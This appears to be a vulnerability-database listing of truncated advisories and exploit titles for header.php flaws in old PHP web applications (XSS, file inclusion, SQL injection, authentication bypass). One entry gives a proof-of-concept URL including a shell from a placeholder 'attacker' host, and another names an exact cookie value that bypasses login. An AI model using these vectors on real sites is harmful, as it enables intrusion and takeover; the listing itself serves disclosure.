CVE-2012-3476: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in 1 application/views/admin/layout.php and 2 themes/default/views/header.php in the Ushahidi Platform before 2.5 allow remote authenticated users to inject arbitrary web script or HTML via vectors related to a site name...

Remote file inclusion

PHP remote file inclusion vulnerability in modchatting/themes/default/header.php in Family Connections Who is Chatting 2.2.3 allows remote attackers to execute arbitrary PHP code via a URL in the TMPLpath parameter...

CVE-2010-4988: Improper Control of Generation of Code

PHP remote file inclusion vulnerability in modchatting/themes/default/header.php in Family Connections Who is Chatting 2.2.3 allows remote attackers to execute arbitrary PHP code via a URL in the TMPLpath parameter...

PT-2011-1756

Name of the Vulnerable Software and Affected Versions AR Web Content Manager AWCM version 2.1 final Description The issue allows remote attackers to execute arbitrary PHP code. This can be achieved by providing a URL in the theme file parameter to specific PHP files, such as includes/window top.p...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in include/html/header.php in TaskFreak! 0.6.4 allow remote attackers to inject arbitrary web script or HTML via the 1 sContext, 2 sort, 3 dir, and 4 show parameters in a save action to index.php; the 5 dir and 6 show parameters to printlist.php;...

CVE-2011-1062: Improper Neutralization of Input During Web Page Generation

Multiple cross-site scripting XSS vulnerabilities in include/html/header.php in TaskFreak! 0.6.4 allow remote attackers to inject arbitrary web script or HTML via the 1 sContext, 2 sort, 3 dir, and 4 show parameters in a save action to index.php; the 5 dir and 6 show parameters to printlist.php;...

Directory traversal

Multiple directory traversal vulnerabilities in AR Web Content Manager AWCM 2.2 allow remote attackers to read arbitrary files and possibly have other unspecified impact via a .. dot dot in the 1 awcmtheme or 2 awcmlang cookie to a index.php or b header.php...

PT-2011-2748

Name of the Vulnerable Software and Affected Versions AR Web Content Manager AWCM version 2.2 Description The issue allows remote attackers to read arbitrary files and possibly have other unspecified impact. This is achieved by exploiting directory traversal vulnerabilities using a .. dot dot in...

Information disclosure

Habari 0.6.5 allows remote attackers to obtain sensitive information via a direct request to 1 header.php and 2 commentsitems.php in system/admin/, which reveals the installation path in an error message...

CVE-2010-4608

Habari 0.6.5 allows remote attackers to obtain sensitive information via a direct request to 1 header.php and 2 commentsitems.php in system/admin/, which reveals the installation path in an error message...

PT-2010-5574

Name of the Vulnerable Software and Affected Versions Habari version 0.6.5 Description The issue allows remote attackers to obtain sensitive information via a direct request to 1 "header.php" and 2 "comments items.php" in system/admin/, which reveals the installation path in an error message...

CVE-2010-4608: Exposure of Sensitive Information to an Unauthorized Actor

Habari 0.6.5 allows remote attackers to obtain sensitive information via a direct request to 1 header.php and 2 commentsitems.php in system/admin/, which reveals the installation path in an error message...

CVE-2009-4987: Improper Authentication

admin/header.php in Scripteen Free Image Hosting Script 2.3 allows remote attackers to bypass authentication and gain administrative access by setting the cookgid cookie value to 1, a different vector than CVE-2008-3211...

clearsite Remote File Include Vulnerability

clearsite Remote File Include Vulnerability Script: http://sourceforge.net/projects/clearsite/ name: D0ryAn location: libya website: http://www.7b-ly.com email: [email protected] bug: Remote File Include Vulnerability you can find the bug in alot of files in the script for ex deviceadmin.php...

CVE-2010-0609: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in header.php in NovaBoard 1.1.2 allows remote attackers to execute arbitrary SQL commands via the novaname cookie parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

[InterN0T] ShareTronix 1.0.4 - HTML Injection Vulnerability

ShareTronix - HTML Injection Vulnerability Version Affected: 1.0.4 newest Info: Sharetronix Opensource is a multimedia microblogging platform. It helps people in a community, company, or group to exchange short messages over the Web. Credits: MaXe from InterN0T patched the vulnerability & Reelix...

ProfitCode Shopping Cart Local File Inclusion / Remote File Inclusion

Exploit Title: ProfitCode Shopping Cart Multi Vulnerability LFI/RFI Date: 2010-01-09 Author: Zer0 Thunder Site : http://www.profitcode.net/ - http://profbiz-cart.sourceforge.net/ Software Link: http://sourceforge.net/project/platformdownload.php?groupid=258424 Tested on: Windows XP sp2 WampServer...

ProfitCode Shopping Cart Multiple LFI/RFI Vulnerabilities

Exploit for unknown platform in category web applications ========================================================= ProfitCode Shopping Cart Multiple LFI/RFI Vulnerabilities ========================================================= Author: Zer0 Thunder Site : http://www.profitcode.net/ -...

phpwind 1.3.6 header.php 权限提升漏洞

No description provided by source...

Quate CMS 0.3.5 - Local/Remote File Inclusion

Discovered by cr4wl3r \ cr4wl3r4tlinuxmaildotorg Quate CMS PoC : http://target/path/admin/includes/header.php?securepagepath=http://attacker/shell.txt??? Vuln LFI : ./QuateCMS035/admin/includes/footer.php line 4 PoC :...